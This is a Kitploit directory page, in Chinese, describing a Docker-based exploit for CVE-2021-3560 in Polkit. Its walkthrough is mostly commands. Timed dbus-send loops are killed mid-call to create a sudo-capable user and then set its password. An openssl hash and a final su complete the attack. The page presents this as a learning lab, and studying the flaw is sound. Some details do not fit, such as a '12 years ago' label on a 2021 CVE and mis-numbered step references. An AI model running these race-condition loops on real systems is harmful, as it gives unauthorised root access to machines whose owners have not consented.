Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-3560-Polkit-Privilege-Escalation — 基于Docker的利用CVE-2021-3560 (Polkit权限提升)的漏洞利用工具,附带逐步说明,通过dbus-send中的竞争条件创建一个sudo用户。 | Kitploit
工具/GitHubGitHub/markyu0401/cve-2021-3560-polkit-privilege-escalation
权限提升漏洞分析漏洞利用渗透测试学习与教育红队
GitHubmarkyu0401/cve-2021-3560-polkit-privilege-escalation

CVE-2021-3560-Polkit-Privilege-Escalation

基于Docker的利用CVE-2021-3560 (Polkit权限提升)的漏洞利用工具,附带逐步说明,通过dbus-send中的竞争条件创建一个sudo用户。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
12年前尚未审核

CVE-2021-3560-Polkit-权限提升

作者:Mark, Qingchen Yu

使用以下命令构建容器:

root@kitploit:~
docker build -t <你选择的镜像标签> .

运行容器:

root@kitploit:~
docker run -it <镜像标签名>
  1. 从 start.sh 开始

  2. 测量执行时间: 注意 'real' 时间,并计算其一半。

    root@kitploit:~
    time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1
    
  3. 创建一个具有 Sudo 权限的用户: 将 X.XXX 替换为上面 'real' 时间的一半,因为我们希望进程在中间被中断 该命令将以 10000 次循环运行 你可能需要多次运行此步骤

    root@kitploit:~
    for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1 & sleep X.XXXs; kill $!;done
    
  4. 检查用户创建 id samurai 应显示 samurai 用户存在并显示其权限。如果没有,请再次运行步骤 2。

  5. 生成密码哈希: 本例中密码为 'iamsamurai' 注意生成的哈希值。

    root@kitploit:~
    openssl passwd -5 iamsamurai
    
  6. 为新用户设置密码: 将 X.XXX 替换为休眠时长,将“Password Hash”替换为步骤 4 中的哈希值。将 UUUU 替换为 'samurai' 的用户 ID

    root@kitploit:~
    for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUUUU org.freedesktop.Accounts.User.SetPassword string:'Password Hash' string:GoldenEye & sleep X.XXXs; kill $!;done
    
  7. 使用你在步骤 4 中创建的密码切换到新用户。 su - samurai

    现在你应该能够使用此用户执行 'sudo' 命令。

下载工具